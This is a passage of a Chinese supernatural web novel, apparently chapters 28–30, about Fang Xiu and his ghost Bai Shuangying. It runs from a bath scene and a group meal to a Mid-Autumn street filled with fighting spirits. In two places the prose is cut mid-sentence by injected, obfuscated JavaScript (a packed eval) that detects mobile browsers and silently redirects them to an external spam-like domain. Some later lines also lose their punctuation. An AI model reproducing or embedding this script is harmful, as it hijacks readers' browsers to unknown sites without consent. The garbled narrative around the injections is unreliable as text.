又不是什么原则大事,他还能把白双影赶出去不成? 淋浴间一平米多点,两边是玻璃隔断,另两边靠着墙壁。架子上备了雪白的浴巾和毛巾,乍看还挺现代化。 方休把那枚头发戒指拿下来,用浴巾包好。养魂泉洗阴气,这玩意又是邪祟制品。要是棉花糖一样唰地洗没了,那乐子可就大了。 “我真脱了啊。 他嘟哝着转向墙壁,磨磨蹭蹭脱下T恤。 和白双影十指相扣,没问题。搂着白双影和衣而眠,没问题。哪怕和白双影在棺桶里无缝接触,方休也不觉得害羞……但被白双影盯着洗澡,方休惊讶地发现,自己居然还有那么点羞耻心。 脱了衣服的性质好像哪里不一样啊! 可要说哪里不一样,方休又说不出个所以然。 白双影的视线像把软毛刷,顺着他的脊椎轻轻刷来刷去。方休后颈有点发烧,背上刺痒个不停。他双手停在裤腰上,怎么也下不去手。 受不了了,方休忍不住扭头看—— 白双影端坐在浴室对面的祭桌上,死死盯着他的一举一动。 那不是观察一个同性的眼神,甚至不是观察一个同类的眼神。白双影脸上惯常没什么表情,平静的目光混着一丝探究,有些诡异的眼熟。 方休突然想起小学同学家的猫。 那只猫也完全不能容忍被关在门外,无论人类上厕所还是洗澡,它一定要在场视察。它的眼神和此刻的白双影一模一样。 见方休回头看,白双影眼睛眨也不眨,只是微微歪过头。 方休:“…… 方休:“……噗嗤。 他的鬼真的有点可爱。 他稍微好受些了,又慢吞吞脱下裤子,拧开水龙头。 养魂泉有些凉,却冲出不少白腾腾的水汽,水里有股淡淡的艾草清香。清澈见底的泉水流过皮肤,吸走他体内的阴气,瞬间变得脏污不堪。 方休把水开到最大,然后把脑袋塞过去,试图用水冲掉不必要的紧张。 “转个身。 “啊?方休差点呛到。 白双影:“下一场祭祀,我会以‘朋友’的身份帮你。在此之前,我要确认你的身体情况。 方休:“你已经帮我很多了,不用那么客气。 “你我立了契,最基本的协助是应当的。白双影说,“但‘朋友’会主动施以援手,不是么? 方休抹了把脸上的水,不知道说什么好。之前只有自己把“朋友挂在嘴边,白双影突然主动配合,他反而有点不适应。 见方休没回答,白双影继续:“你在塔内的衣物是精气化的,我的衣物也是躯体所化,其实你我都没有穿衣服,不必纠结太多。 说罢,白双影随意地抬起左肩。 素白衣料缓缓融化,渗入皮肤。白袍半松,袒露出优美的锁骨,以及整个白皙结实的肩膀。 方休:“……停停停!我知道了你不用再演示了这样就够了。 他后颈烫到**,心脏仿佛焯了个水,回过神时身上出了一层汗。 白双影坦荡荡地看过来,方休想说点什么糊弄过去,舌尖却一阵发麻。 他原本想着,区区一点尴尬,自己很快就能习惯。反正大家都是男的,他有的白双影也有……吧。 结果那股微妙的紧张感怎么都不肯消失。现在他想,他宁愿再当着白双影的面铲碎十个山混子。 算了,继续忸忸怩怩没什么意思。方休悄悄吸了口气,拿毛巾挡住重点部位,果断转过身。 看到方休正面的那一刻,白双影唔了声。 ……方休身上果然有东西,但那不是经文或法阵。 方休腰身纤瘦,八条交错的刀疤布满小腹。他左边大腿一大片擦碰旧伤,右边小腿则残留着长长的疤痕,貌似进行过某种治疗。 平时它们被衣服盖住,根本看不出来。 白双影陷入沉默,又开始用他的目光粉刷方休。 “确认好了吗?这气氛太怪了,方休干咳两声,试图打破沉默。 他就知道会这样,接下来,白双影多半要问这些伤…… “太瘦。白双影点评。 方休:“? “你的身体不够结实。这样不太美观,而且很容易死掉。白双影用一种动物世界旁白的语气说道。 他的语气里没有好奇或怜悯,也没有故作的不在意。就像那些伤疤天生是方休的一部分。 方休突然笑了,他指指肚子上的刀疤。 “你不问这些? “为什么要问?不过是年轮一样的东西。白双影平静地回应。 “你身上有这些痕迹,说明你战胜过严酷的劫难,这很好。 白双影端坐在祭桌上,黑发白袍软软垂落。此刻,他的鬼比嵬山祠的神像更像神像。 方休眨眨眼,水珠顺着睫毛滑进眼睛里,有些涩。 模糊之中,他看不清白双影 那张漂亮面孔,心跳却还是乱了一拍。 【你听说了吗,哎哟,那孩子真可怜。】 【是啊,太惨了,以后日子怎么过……】 【好可怜啊。】 【可怜……】 数不清的回忆在脑海中浮沉,类似的话听得他耳朵起茧。 方休不讨厌那些议论者,他知道他们没有恶意。但那些额外的同情与怜悯就像麻.醉药,不能说不好,只是他确实不需要。 他想过,白双影可能会好奇,可能压根不在乎,最多说点鬼里鬼气的话。 但他没想到,迄今为止,他居然最中意一只邪祟的评价。 ……他还没有输,他支撑着活到了现在,这很好。 “对,我确实很强。 方休笑得十分开心,他彻底放松下来,差点忘了自己还光着。 “体型这事,你就忍忍吧——祭祀肉身是地府配的,又不提供定制,我倒希望它们给我四爷那样的体格呢。 白双影想了想:“那种太笨重,也不顺眼。 方休:“……你还挑上了。 随后他意识到一个很有趣的问题,“既然祭祀肉身也是法器,那我能用饭卡**吗? 他找个机会往敌人身上抹点血,躲两个小时,再把叩地鼎往人身上一拍——哇,这套流程听下来,简直比邪祟还邪祟。 “不行。 白双影无情打破他的幻想,“它只能破坏纯粹的法器。如果法器内宿有魂魄,不能再算是法器。 方休失望:“那算什么? “生魂寄物,算半个邪祟。白双影说,“还有…… 方休听得入神:“还有? 白双影目光朝下一扫:“你的毛巾掉了。 方休:“…… 方休默默捡起毛巾,背过身子。这次不止后颈,他一张脸也跟着变红了。 …… 冲完澡后,方休第一时间试验了新能力——他在地上积了点养魂泉,从水面里掏出一瓶旺○牛奶。 这东西是供品,无论有没有肉身都能喝,方便到让人感动。方休想了想,又额外掏出一瓶,放在白双影身边。 白双影:“我不喜欢这种供品,里面没什么阴气。 方休:“我知道,所以这是给嵬山神的。主要是你坐在供桌上,我也没办法。 白双影:“…… 白双影一脸空白地俯视方休。 方休刚洗完澡,红衣服显得特别鲜艳。自己给的黑发指环,方休好好戴回了手上。 他那头乱发还没干,发尾柔软地贴着皮肤,眉眼也都露在外面,看着居然还挺无害。 “多谢啊,嵬山神。 方休绕过他,双手合十,面色严肃。 “谢谢你当初让我们吃供品,这是说好的回赠……哎哎哎你干什么?! 白双影直接把罐子捏开,喝了。随后他跃下供桌,再次贴上天花板。 “你不是说这东西没阴气吗?方休无奈。 “人类偶尔也吃没营养的东西。白双影说。 方休干笑。他知道他的鬼又不高兴了,按理来说,他该说几句软话哄哄。但一想到白双影那句“朋友,方休鬼使神差地继续。 他好奇地问:“为什么不高兴? “我们是朋友,朋友优先。白双影理直气壮,他发现这个关系真的很好用。 刚才白双影专心想了半天,如何自然而隐秘地插手祭祀。 “把方休纳入计划和“看热闹耍人玩可不是一个难度。况且自打出生,白双影的计划里只有他自己,从不包括其他生物。 他这边冥思苦想怎么让这人活得久一点儿,转头就看方休给嵬山神上供。 着实本末倒置,当初要不是他搭了把手,哪还有什么嵬山神? 白双影心里正不爽,然后就看到方休眉眼弯弯,笑得一点都不聪明。 方休仰头看他:“没错,朋友就该是这种感觉。你还喝吗?我这还有。 “不喝。 “那我先睡个回笼觉,午安!方休快乐地倒回床上,整个人钻进被子。 没几秒,被子里又传来几声笑。 简直莫名其妙,白双影心想。 …… 中午又有人来敲门,这次不是纸人,是贾旭。 贾旭的语气十分热情:“我组织了一个交流会,你要不要来?好不容易有天假,不如大家互相了解了解。 这确实是个好机会,方休没拒绝。 这回他没出声,白双影就自觉从天花板上下来,一副“带上我的理直气壮。 院子里备着午餐,菜式比早餐丰盛许多。 主食变成了面饼米饭馒头三件套。甜品种类翻番,菜式里多了许多炸货与蒸碗,其中居然还有大闸蟹和龙虾。桌边备着各种各样的饮料,方休一眼认出了里头的茅台。 不愧是祭祀结束后的假期。 黄毛抱了两瓶茅台,喝得整个人变成红色。梅岚取了一块奶油蛋糕,脸上带着淡淡的笑意。 贾旭拿着杯酒站起身:“来来来,相逢就是缘,孽缘也是缘。今天大家都来个自我介绍,以后祭祀里好照应。 说罢,他自己先开了口。 贾旭今年二十九,比方休大一岁。他程序员起家,现在是某个IT小公司的创始人之一,当得起一句“年轻有为。 “富哥威武。我听说过那个公司,我还玩过你家游戏呢。 过冲突。 黄毛大名杜志超,二十六岁,无业。他说手里有点钱,目前凑合着过。 梅岚刚满三十二,经营一家字画店;成松云是个家庭主妇,关鹤还在念高中——他只有十六岁,甚至没有成年。 听说关鹤只有十六岁,众人齐齐沉默了一下,接着痛骂地府不是东西。黄毛当即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705259|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大呼小叫,说要罩着关鹤这个小弟,关鹤压根不理他。 总之,众人之间没有任何共同点,居住城市也不一样,貌似是被地府随机抓来的。 “方休,二十八岁,医院保洁。”方休的自我介绍很简短。 “不开玩笑,兄弟,你到底干嘛的?”贾旭没把这话当真。看成松云的表情,她貌似也不太信。 方休诚恳地重复:“就是保洁啊。医院里血肉模糊人情冷暖见多了,心态稍微好点儿。” 贾旭明摆着不信,不过见方休坚持说法,他也没再问。 他反手掏出来一张纸板:“我这边总结了‘厄’的规律,大家都看看,明天可能用得上。” 不知道贾旭从哪里搞的纸板,上面搞得图文并茂,堪称阴间PPT—— 1、厄通常有三条禁忌,其中一条会致命。 2、厄诞生于人的执念,禁忌与执念有所关联。 3、厄只能以“合乎逻辑”的方式破坏,特定法术也有效。 贾旭:“大家注意第二条啊。厄这个东西有点像低级AI,分不清好坏。” “嵬山神的执念只有善意,厄却衍生了‘不敬神就死’的死忌。所以就算禁忌与执念有关,也不能太想当然。” 黄毛捧场:“第三条啥意思?” “很简单,我们得搞清厄的本体,再用常见思路去破坏厄。比如糖果该被吃掉,暴力碾压是没用的……蜡烛的话得浇灭,镜子的话得砸碎,我猜是这样。” “但要用法术的话,应该有别的办法,比如方休说的那个三昧真火符。” 黄毛大力吆喝:“厉害厉害,富哥牛逼——” 贾旭满意继续:“至于邪祟会不会被‘禁忌’约束,现在还不能确定……” 关鹤眉头一皱,小声:“方哥早上不都讲过了吗,他干嘛换着花样来一遍?” 方休不以为意:“他加了配图,挺好的。” 成松云伸头看了会儿,小声:“可那配图也不好懂啊。” 方休:“……至少挺像回事。” 白双影就不一样了,仗着有隐藏,他一点都不小声:“跳梁小丑。” 方休摸摸白双影的袖子:“有人愿意当出头鸟也好。” 贾旭讲到最后,还彬彬有礼地感谢方休的“启发”。现在方休明白了,贾旭不是一时兴起想当领袖,此人单纯是领 导当习惯了,改不过来。 白双影垂下眼:“这样的人我见过许多,乱世之下活不久的。” 方休憋笑:“我知道我知道。” 白双影这才嗯了声,他看了会儿桌边饮料,挑了一小瓶汽水。接着他很自然地拧开瓶盖,把汽水倒进方休的杯子,只留下那个小玻璃瓶。 方休:“……?” 他刚想询问原因,成松云悄悄拍了拍他。 她像是下了决心,低声开口:“小方啊,我、我想帮你做事。” “我不问你是干什么的。你对四爷做的事,我没告诉其他人,以后也不会说。” “我知道你挺厉害。只要你愿意带我出去,我的鬼可以借你用,我也会替你办事。” 方休有点吃惊。 其实只凭成松云那一手怨鬼盾,方休也有意护着她,她没必要做到这一步。成松云只看见他阴死四爷,她要是看见他给山混子来了个手打肉酱,指不定会改主意。 于是他很认真地回应:“你确定?我做事不择手段,必要的话可能会牺牲你。” 成松云摇摇头,笑了下:“阿姨觉得你是个好孩子。要是实在没办法……那也没办法。” 接着她像是想到了什么,垂下眼去,“而且要是四爷那种人,我也能下手**。除了伤害无辜,我什么都能做。” 方休沉默了几秒。 “好。”他说。 当假期只有一天的时候,时间永远二倍速前进。贾旭的阴间团建搞完,时间已经到了下午。 狂欢的气氛很快消散。大家无心再放松,连黄毛都不敢再喝酒了。毕竟再吃个晚饭睡个觉,他们又要迎来新一轮祭祀。 也不知道下次再回来的时候,他们还会剩几个人。 方休倒是接受良好,反正祭祀又不会因为他们心情不好就延迟。他带着他的鬼回到房间,开始琢磨怎么给白双影弄点东西吃。 然后他就看见白双影掏出了刚才那个汽水瓶。 汽水是二百毫升的款,玻璃瓶子矮矮胖胖、晶莹剔透。白双影把它擦干净,端端正正摆在供桌上,再插入那朵庙会纸花。 插好后,他还特地调整几次,寻找一个足够完美的角度。那双白色眼眸异常专注,跟着纸花动来动去。 看着那个雪白的身影,方休胸口有些酸胀。 “下场祭祀你不戴了吗?”他忍不住问。 “嗯,不戴。” 白双影终于找到一个完美的角度,他满意地直起腰。 “它实在太脆弱。”他说,“我现在还不想弄坏它。” …… 次日清晨,第二场祭祀如期而至。 相比第一次的迷茫不安,这回气氛沉重了许多。大家跟着纸人一路走上二楼,期间没人说话。 二楼走廊不再像乡村土路,它变成了陈旧的楼道,连满墙开锁广告都还原了。尽头的门变成了老式楼道门,斑驳漆皮混着铁锈,门后一片昏暗。 方休随手抓着白双影的袖子,两人并肩前行。 “了不得,二楼居然连主题场景都跟着换。”方休照旧跟自家鬼咬耳朵,“我猜这次的场地是居民楼——哎哟!” 就在众人跨过门扉的那一刻,异变突生。 第 29 章 中秋佳节 第29章中秋佳节 【夜晚街道。】 这次出发前,方休想过白双影的事。 他承认之前看走了眼,他的鬼并不是柔弱不能自理的类型。嵬山祠那会儿,白双影的压迫感很是惊人。 白双影可以污染因果,能做到完美隐藏,甚至还能救助残魂。最重要的是,他的鬼博学多才,好像对各种法器都很了解。 事情很明显,白双影是个实力不错的辅助型厉鬼。 之前白双影说自己实力一般,多半是和战斗型厉鬼比较。辅助职业嘛,攻击力低点不寒碜。 不过这样一来,自己更要好好护住他。 方休没想到的是,这个时刻居然来得这么快。 众人刚跨过门扉,只见光芒闪烁,地面地震般晃动,一行人仿佛被丢进了滚筒洗衣机。 天旋地转中,方休朝身边一扑。他用力抱住白双影的腰,把他的鬼压在身下。 眩晕停止后,他的手感受到了粗糙的石砖。方休见过这种石砖,它们常用于户外街道。 ……猜错了,原来不是居民楼。 方休使劲眨眨眼。只见金红的灯光洒在白双影睫毛上,四周音乐喧闹。恍惚间,方休还以为自己回到了嵬山村庙会。 但这不是庙会,而是一条热热闹闹的现代步行街。 夜色正浓,整条街道灯火通明。无数小店轮播着乐曲和广告,街两边挤满美食摊位,街道尽头立着一座仿古牌坊。 牌坊缀满金光闪闪的灯串,街道上方挂着一串串小灯笼。周遭氛围无比温暖,完全没有嵬山村那种诡异和压抑。 白双影微微动了动:“……” 方休这才反应过来,他的鬼还被他尽职尽责护在身下。白双影一身白袍铺散在地,眉眼带着微不可察的无奈。 两人面孔距离极近,方休的呼吸一波波拂过白双影的脸。暖光映照下,白双影左脸的血痣分外鲜艳。 方休有点稳不住心跳。 他想要张嘴解释,想要赶紧爬起来。然而这一动,他才察觉到不对劲。 ……他动不了。 白双影盯了他一会儿,很小声地叹了口气:“冷静,很快就没事了。” 方休很冷静,他只是觉得这姿势有点微妙。此刻两人面对面紧紧贴在一起,他的双手还抱着白双影的腰呢。 如今方休被迫确认,他有的白双影确实也都有。虽说白双影的衣服是他身体的一部分,那身白袍底下也没偷工减料。 ……不,别想了,想那些有的没的干嘛。 方休暗自调整呼吸,努力用余光打量四周。这一瞧不要紧,乍看之下热热闹闹的街道,细看让人汗**倒竖。 街道上人流如潮,只是所有身影都定在原地,像在玩一场人数众多的一二三木头人。 那些挤挤挨挨的身影之中,足足有七成是邪祟。 它们有高有矮,姿态扭曲地定在原地,只有眼珠骨碌碌乱转。和嵬山村那些邪祟不同,街上邪祟五官歪斜、面带戾气,毫不掩饰自身的恶意。 不过和剩下的“人”相比,这些邪祟甚至谈得上正常—— 剩下那三成“行人”同样身形凝固,他们没有脸。 他们并非那种五官空白的“没有脸”,而是所有人的脸都是后脑勺。 无论正面侧面还是背面,他们的脖子顶上永远只有后脑,仿佛脖颈可以三百六十度旋转。 再仔细看,各种店铺的店主、店里购物的客人、室外小摊上的食客,统统和街上行人一模一样。偌大一个街道,居然凑不出一张完整人脸。 而他的同伴在附近摔得横七竖八。他们和方休一样动弹不得,只能眼睁睁看着这副诡异景象。 这到底是什么鬼地方? 方休琢磨半天,暂时找不到头绪。这种类型的步行街全国都有,附近没什么地标性建筑,商店牌子上也没有好心写出地名。 他只能确定,这里和嵬山村一样,时间与外界完全一致——不少店铺正打着“欢庆中秋佳节”的广告,奶茶店推销的都是桂花系列产品。 算算时间,确实该到中秋节了。不过于他而言,这个节日早就名存实亡。 方休收回目光,再次看向白双影。 白双影似乎没受到行动限制。他之所以认命地躺着,好像只是不想掀飞凝固的方休。 幸亏白双影没戴着纸花,不然肯定会被这一下压坏。方休有点抱歉地看着白双影,后者看起来又想叹气了。 突然,一声尖锐的哨声刺入耳朵。 哨响后是噼里啪啦的炸裂声,一朵朵烟花在空中炸开,灿烂的焰火照亮天空。 烟花发射如同发令枪响,方休全身一松,身体重获自由。 同一瞬间,白双影轻飘飘起身。他袖子一卷,直接把方休卷到身边。空气一阵扭曲,两人瞬时进入了隐藏。 方休大概知道为什么。 街道上的邪祟实在太多了。这里不是嵬山村,如果这里的邪祟不需要模仿人类…… 方休的念头还没转完,邪祟们就动弹起来——恢复自由的刹那,它们毫不犹豫地扑向彼此,杀成一团。 天空中是美丽的焰火与圆月,地上摊子哗啦啦倾倒,奇形怪状的内脏漫天飞舞。 喜庆欢快的音乐里,多出了不少惨叫与悲鸣。甜美的歌声和鬼哭混成一团,听得人耳膜疼。 好在他的同伴们没有浪费时间尖叫。 限制行动期间,大家多少有了点应急准备—— 成松云一把扯过关鹤,直接开了怨鬼盾;黄毛嗖地跳上屋顶,贾旭伪装成了不起眼的邪祟;梅岚就近找了杯啤酒,噗通藏进水面。 大家刚刚藏好,后脚就冲来一众臭气熏天的刀劳鬼。它们挥舞着锋利的前肢,朝众人消失的地方疯狂喷吐毒气。 白双影蹙起眉,袖子一甩,将那些黄绿色的毒气隔绝在外。 不愧是辅助型厉鬼,方休心想。 没找到众人,鬼群毫不留恋地离开,继续和同类杀得血肉横飞。 方休想要进一步探索,然而大家都藏在附近,现在走散不是个好主意。偏偏邪祟们厮杀不止,看着一时半会儿结束不了,他只能站在原地围观。 这边小吃摊无脸人虚空吃烤串,那边邪祟们开膛破腹啃咬彼此的内脏,两边各吃各的,百花齐放的步行街原地转型美食街。 方休没一会儿就瞧腻了,他对血浆片一直没什么特殊的喜好。 于是他抬头看向明月。 夜空晴朗,烟花在圆月旁明明灭灭。无数色彩缤纷纯粹,有种不太真实的美感。有那么两秒,方休几乎忘记了眼前的血腥。 ……说起来,自己多少年没庆祝中秋节了? 他上一次全家过中秋的记忆,还是向爸爸妈妈抱怨月饼太甜不好吃。 失去父母后,他有了新的家人。可惜新的家人很忙,这方面不太上心……最近这些年,他一直都是独自度过这一天,权当这个节日不存在。 方休从未想过,中秋节会这样回归他的生活。今年居然是一只邪祟陪他过中秋,命运可真神奇。 他微微放松脊背,靠住身后的白双影。白双影侧头看他,长发拂过他的T恤。 “中秋快乐。”方休轻声对白双影说。 白双影疑惑:“为什么中秋要快乐?” “你活着的时候,家里没有过中秋的习俗吗?”方休顺口问着,继续欣赏满月。 白双影思考许久,还是开了口:“我没有家人,也没有死过。” 方休猛然扭头:“?” 不是哥们,你还活着呢? 这种没心跳没呼吸身体冰得像冻肉的状态,到底算哪门子活着?连植物都有体温,您该不会是石头成精吧。 ……不过如果白双影是白玉成精,好像也挺合理。 方休刚想问,转念一想,白双影最初就拒绝透露种族,再问感觉有点唐突。再说天生邪祟并不少见,反正无论怎样,白双影就是白双影。 “人类喜欢和家人一起庆祝中秋节,和家人一起会很快乐。”方休跳过种族话题,轻声解释道。 白双影:“可是你没有家人。” 方休:“…… 方休:“朋友也算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705260|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半个家人。 白双影深思。 几秒后,他不太确定地开口道:“中秋快乐,方休。 方休没回话,也没回头,只是呼吸突然变得慢而深重。 再开口时,他的语气听起来挺无所谓:“可惜嵬山神的供品里头没月饼,不然咱俩还能一人一半分个吃。 白双影:“我不喜欢吃月饼…… 话音还没落,一条邪祟腿“啪地落到他脚边。白双影看了两眼,嫌弃地用脚拨拉开。最近生魂吃得顺口,他有点看不上这种干巴巴的低级邪祟。 察觉到白双影的小动作,方休又开始笑。 “我会给你准备生魂的。他说,“你拍扁了吃,也算月饼。 …… 厮杀足足持续了一个多小时,街上的邪祟没了大半。剩余邪祟在吃饱后散去,只留下一地残骸。 那些只有后脑的人还在街上走,他们似乎完全没有受到混战的影响,身上不见半点伤痕。这些人咕叽咕叽踩着尸骸,悠闲地逛着街,貌似对其他事物毫无兴趣。 终于,大家陆陆续续离开各自的躲藏处。 用完怨鬼盾的成松云目光呆滞,面颊多了几道抓出来的血口,可见那盾的代价着实不小。 梅岚则急急忙忙找了只没断气的邪祟,她用鞋跟把它踩死,喂给水鬼当代价。 “我就操了,这里的人怎么没脸啊?黄毛摸着胳膊上的鸡皮疙瘩,“不是,嵬山村那种犄角旮旯就算了,这地方真的在阳间吗? 贾旭脸色难看:“阴间祭祀的事,谁都说不准,重点是尽快找到‘厄’…… 这条步行街很长,各种商品琳琅满目,干扰项成千上万。最要命的是,这里场地狭窄,邪祟比嵬山村的暴躁许多,一言不合就下**。 眼下情报太少,大家半条禁忌都找不出来。他们连这里有没有其他组的人都不知道,就被迫经历了一场致命捉迷藏。 无论怎么看,这次的“厄都不好对付。 “大家先去找个过夜的据点,等天亮后再探探。贾旭又开始全自动指挥。 “嗯,先找个据点,然后我们出去逛街。 方休拉拉白双影的袖子,小声补充,“上次一起逛庙会,这次一起过中秋——这种地方小东西最多,咱们去挑个好看的花瓶吧。 白双影表情明亮了一点:“好。 …… 解厄塔顶。 纸人垂着头,恭恭敬敬呈上嵬山村的祭祀报告。 它面前坐着一位高挑女子。 那女子一身大红喜服,豪华程度堪比凤冠霞帔。她身材结实,脸隐藏在血迹斑斑的红盖头下,面前横着一 把阴气四溢的染血软剑。 鬼仙阿守,地府最强的鬼仙之一。 最近百年,正好轮到她来管理这座解厄塔。纸人清楚得很,这位可是它得罪不起的大人物。 “嵬山神登了仙?怪事,她的命数对不上,明明还差一点。” 阿守隔着盖头翻看报告,语气里出现一丝疑惑,“是你那层的人解了厄?” “是。”纸人低低垂着头。 阿守继续翻看报告:“我看看怎么回事。唔,福老儿是个废物,被新人搞下马也有可能……有趣,你那层的支援居然是‘召鬼’。” “是,小的按规矩从因果炉里抽的。上回出现‘召鬼’支援,还是百年前的事。” 纸人紧张兮兮地回答,“那时没轮到您守塔,您不熟悉也正常。” 阿守哼了声,没回应。她继续翻看报告,看到最后一页的时候,她突然“咦”了一声:“你把你的人送去处理‘中秋厄’?” “是、是的。正好到了时候,小的也是按规矩行事。”纸人躬身拜着,头越来越低。 阿守沉默良久。 半分钟后,她放下报告,纸张唰啦啦散在软剑旁边。 “横竖那嵬山神不是邪神,我也不想对她的升仙吹毛求疵。既然你把当事者送去处理‘中秋厄’,再纠结也没什么意义……奠二,去准备迎接下一批祭品吧。” “无人能解‘中秋厄’。这批祭品,回不来的。” 第 30 章 索命禁忌 第30章索命禁忌 【禁忌之一。】 一行人做贼一样溜墙根儿前进。 这条步行街大概八百米长,两端都立着仿古牌坊。路边商店最高楼层不超过三层,普通到不能再普通。 街道上无脸人缓缓走动,每过十几秒,它们便回归原位,再次重复活动,像是不怎么智能的游戏背景NPC。 那些邪祟倒很智能。 独眼鸟怪停在电线杆上,巨大的独眼窥视四方。厉鬼在阴影中飘荡,饿死鬼则蹲在同类的尸骸边疯狂啃食。一条街俨然成了鬼街,到处都是邪祟的影子。 方休忍不住朝白双影嘀咕:“它们全都露面了,吓人效果会不会不太好……感觉从灵异片变成了丧尸片。” 然后他开始絮絮叨叨地向白双影解释丧尸片,白双影听得直点头,对僵尸们成群结队的场面悠然神往。 “到头了。”贾旭突然说。 方休正跟白双影热聊《生○危机》和《行○走肉》,闻言抬起头来。 仿古牌坊外只有一片黑暗。这片黑暗不像鬼打墙生造的隔断,它给人一种世界边缘的空洞感。 至于这片黑暗能不能碰,谁都不想拿命去试。 方休借着隐藏遮掩,从街上拖了只奄奄一息的大头鬼。他按着它的头,直接朝那片黑暗撞去。 大头鬼撞出“咚”的一声闷响,接着猛地弹回来。这么一折腾,它彻底没了气。 方休连忙看向白双影,白双影用力摇头,看来这东西不太好吃。 方休遗憾地松手:“贾旭说得没错,这确实是边界。” 其余人:“……” 感觉学到了什么不该学到的东西。 黄毛想了想,又嗖地跳上屋顶,几秒后他跳回来:“两边一样黑,咱们被困在这条街上了。” 方休稍稍有点失望。看来未来几天,他们能逛的只有这一小段路。 没过几分钟,众人找到一家无人服装店。 这家店貌似没人租,里面只剩些许杂物,门也挺结实。门上的锁不知道被哪只邪祟挠坏了,门就这样虚掩着。 关鹤的小儿鬼进门溜了一圈,出来比比划划,表示里面还算干净。 经历过上次祭祀,大家心里有数,知道“意义不明确的行为”不会犯死忌。一行人果断进了空店面,开始布置据点。 店里只剩些纸壳子和废衣服,环境实在称不上舒适。好在这次,他们不用再担心饮食问题—— 黄毛左手烤串右手啤酒,怀里还有一大包橘子:“外头地上捡的,没犯忌。我还瞧见了免费试吃,点心啊啥的都有……嵬山村那种狗逼禁忌总不能再来一次吧。” 说完,他咬了一口羊肉串,大口咀嚼。几秒后,他再次“嗷”地吐出来。 众人:“……” 黄毛暴怒:“怎么没味儿啊!” 他不死心地喝了口啤酒,脸上的怒意更浓了,“这他妈喝了跟没喝一样!” 方休好奇地尝了瓣橘子,瞬间懂了黄毛的委屈。 橘子确实毫无味道,吃起来有种说不清道不明的空虚感。如果说橘子本尊是皮脆肉嫩的枣木烤鸭,他嘴里的只能算校门口名为“香香烤鸭”的淀粉零食,还得是一毛钱一包的那种。 橘子汁也完全不解渴,仿佛咽下去那一刻就消失了。 ……这些东西徒有其表,根本没法正常吃喝。他们的运气还真就这么差,接连两次都遇见缺食少水的祭祀。 方休直接把啤酒倒在地上,开启嵬山祠食堂。 在他捞出两箱饮料,六只烧鸡还有一大袋苹果后,谁也不嫌他的技能没用了。大家提前规划了自己的午饭,黄毛就差按着他的肩膀当场认哥。 贾旭一阵后怕:“幸亏咱们有这一手,不然接下来几天……” 如果找不到类似嵬山祠的存在,后果不堪设想。 “这地方太邪门了。”贾旭打了个哆嗦,“咱今晚先在这观望观望,天亮再出去。” 说完他来了个深呼吸,语调又激昂起来,“我们这次不缺吃的。只要能守住据点,大家就能慢慢找厄,花上十天半个月也没事儿。接下来,我有几个想法——” “我出门了。”方休干脆地说。 贾旭:“?” “我的鬼有隐藏能力,我死不了。”方休随身带了几块点心,接着站起身。 现在信息极少,贾旭开会也只能说空话。方休懒得听,他拉着白双影就走——他们说好了一起逛街呢。 走出门的那一刻,欢脱的音乐骤然清晰。 八百米的步行街,随随便便就能看到头。只要无视满街尸骸,这条街道还算中规中矩。 街上没有过分的网红元素,也没有粗制滥造的人工景点。夜空与黑暗边界丝滑交融,满月之下,烟花还在不停绽开。 缤纷焰火接连不断,招牌上LED灯闪烁变化。白双影看着看着,步子越走越慢。 方休笑道:“以前没见过?” “嗯。”白双影探头看广告屏幕,眼瞳被各种色彩映得亮亮的。 “步行街嘛,肯定夜里最好玩,超适合和朋友一起逛!”方休拍拍白双影的背,“慢慢来,咱们不急……” 话还没说完,方休脚下一滑。他紧急抓住白双影的袖子,这才没一屁股跌倒。 他踩到了一摊血。那摊血散发出刺鼻的甜腥,分明属于人类。 血泊旁横着一颗头颅 。 那是一颗中年男人的头头颅半边被邪祟咬烂仅剩的半边还残留着绝望的表情。附近人类残骸与邪祟残骸混在一起粗看很难分辨。 是其他组的祭品。 这个人已经死透了。他的肉身被邪祟分食殆尽生魂更是半点没留只剩下半颗不太好啃的头颅。 方休收起笑容叹了口气:“看来咱们得先干正事——一起点点人头吧看看到底**多少人。” 白双影:“我想逛街。” 数人头就很没劲他对人类的脑袋毫无兴趣。 方休哄他:“嗯嗯我们动作快一点不耽误的。” 白双影啧了声他伸出食指在方休眉心轻轻一点。空气又是一阵扭曲方休疑惑地看着他。 白双影:“这样你可以独自隐蔽你我分头去数数完了再在这里汇合。” 他们刚巧在街道中段正好一人负责一半。 方休忍笑:“好好好正好比比谁数得快。” 虽然知道白双影的隐蔽很靠谱他还是忍不住加了句“路上千万小心。” 他话还没说完白双影已经快步走远了。 方休:“……” 你就这么想逛街吗? 于是他也迈开步子朝街道另一端飞快跑去。 街道的犄角旮旯不少方休找得很仔细收获也丰富到有些遗憾。区区两百米的距离他就发现了十几个人头。 有些组的人直接死在了一起连逃都没来得及逃。更怪的是现场只有大量尸骨残骸破损法器少之又少。 ……简直就像第一次参加祭祀的新人。 方休一路找来竟没发现任何一具看着像老手的尸体。再仔细想想他们组好像也算刚参加第二场祭祀的新人。 ……怎么回事难道这场祭祀只收新人? ……这种食水都成问题的祭祀地府特地送一堆新人过来做什么? 不过细细筛查下他确实还有正面收获——方休找了几个可以跟白双影一起逛的店 …… 白双影在街道另一端漫步。 